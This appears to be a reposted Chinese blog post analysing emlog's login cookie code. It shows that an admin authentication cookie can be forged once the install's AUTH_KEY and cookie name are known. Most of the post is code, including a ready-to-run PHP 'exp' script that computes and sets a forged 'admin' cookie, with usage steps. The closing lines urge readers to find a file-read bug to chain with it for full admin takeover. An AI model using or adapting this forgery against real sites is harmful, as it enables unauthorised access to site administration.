来源:自学PHP网 时间:2015-04-17 12:00 作者: 阅读:次
[导读] 首先这应该算不上什么漏洞吧,说他是一个BUG更为贴切,放出来大家看看。因为利用起来比较鸡肋,必须在得到程序的AUTH_KEY以及AUTH_COOKIE_NAME的值后才可利用,而这两个东西都是安装的...
首先这应该算不上什么漏洞吧,说他是一个BUG更为贴切,放出来大家看看。因为利用起来比较鸡肋,必须在得到程序的AUTH_KEY以及AUTH_COOKIE_NAME的值后才可利用,而这两个东西都是安装的时候随机生成的,存放在config.php里面,不过鸡肋不代表没有危害,在得到以上两个值以后,只要对方不重装,即可随意进后台~~~~ 相信以前discuz 7.x的uckey写马玩的爽的人也不少!
来看看emlog的cookie验证关键代码:
PHP代码
/**
* 生成登录验证cookie
*
* @param int $user_id user login
* @param int $expiration Cookie expiration in seconds
* @return string Authentication cookie contents
*/
function generateAuthCookie($user_login, $expiration)
{
$key = emHash($user_login . '|' . $expiration);
$hash = hash_hmac('md5', $user_login . '|' . $expiration, $key);
$cookie = $user_login . '|' . $expiration . '|' . $hash;
return $cookie;
}
PHP代码
/**
* Get hash of given string.
*
* @param string $data Plain text to hash
* @return string Hash of $data
*/
function emHash($data)
{
$key = AUTH_KEY; //将AUTH_KEY赋值给$key
return hash_hmac('md5', $data, $key); //用HMAC模式生成一个包含密钥的Hash值 这里加密方式为md5 key为config文件中的AUTH_KEY 加密内容为 $username|$expiration
}
所以作者只是在那不停的的加密加密再加密,但是却2逼的不把用户名和密码入库查询,so。。。
最后再看下setAuthCookie函数就能构造出cookie的值了:
PHP代码
/**
* 写用于登录验证cookie
*
* @param int $user_id User ID
* @param bool $remember Whether to remember the user or not
*/
function setAuthCookie($user_login, $ispersis = false)
{
if ( $ispersis )
{
$expiration = time() + 60 * 60 * 24 * 30 * 12;
} else {
$expiration = null;
}
$auth_cookie_name = AUTH_COOKIE_NAME;
$auth_cookie = generateAuthCookie($user_login, $expiration);
setcookie($auth_cookie_name, $auth_cookie, $expiration,'/');
}
看上面代码可以知道此cookie是完全可以算出来的,废话不多说,cookie值生成exp:
PHP代码
< ?php
$time=time() + 60 * 60 * 24 * 30 * 12;
$key = hash_hmac('md5', 'admin|' . $time, 'X6GWWug3mdlkIdMwXcp9%j6#F6vrVR5gabb8ee9df7b6e17fbb57f67c38296f02'); //这个是key,admin为要欺骗的管理名 www.2cto.com
$hash=hash_hmac('md5', 'admin|' . $time, $key); //admin为要欺骗的管理名
$cookie='admin|' . $time."|".$hash; //admin为要欺骗的管理名
echo $cookie;
setcookie("EM_AUTHCOOKIE_ZrMieHk3O56bPNzXjFW4PjuDXMxBUPKk",$cookie); //这个是cookiename
?>
最后来演示下利用方法吧:
然后在config.php文件中找到AUTH_KEY的值以及AUTH_COOKIE_NAME的值,这里我的值为:
PHP代码
//auth key
define('AUTH_KEY','X6GWWug3mdlkIdMwXcp9%j6#F6vrVR5gabb8ee9df7b6e17fbb57f67c38296f02');
//cookie name
define('AUTH_COOKIE_NAME','EM_AUTHCOOKIE_ZrMieHk3O56bPNzXjFW4PjuDXMxBUPKk');
so。替换exp中的相关内容,我的管理名是默认admin,所以这里就不改管理名了~~
执行后刷新后台即可:
没什么技术含量,我也是小菜鸟一枚,不过emlog的确是小巧,看过去看过来也那几句代码,有能力的大牛们去挖个读文件或者任意下载的洞吧~~配合这个就能秒杀了
|
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com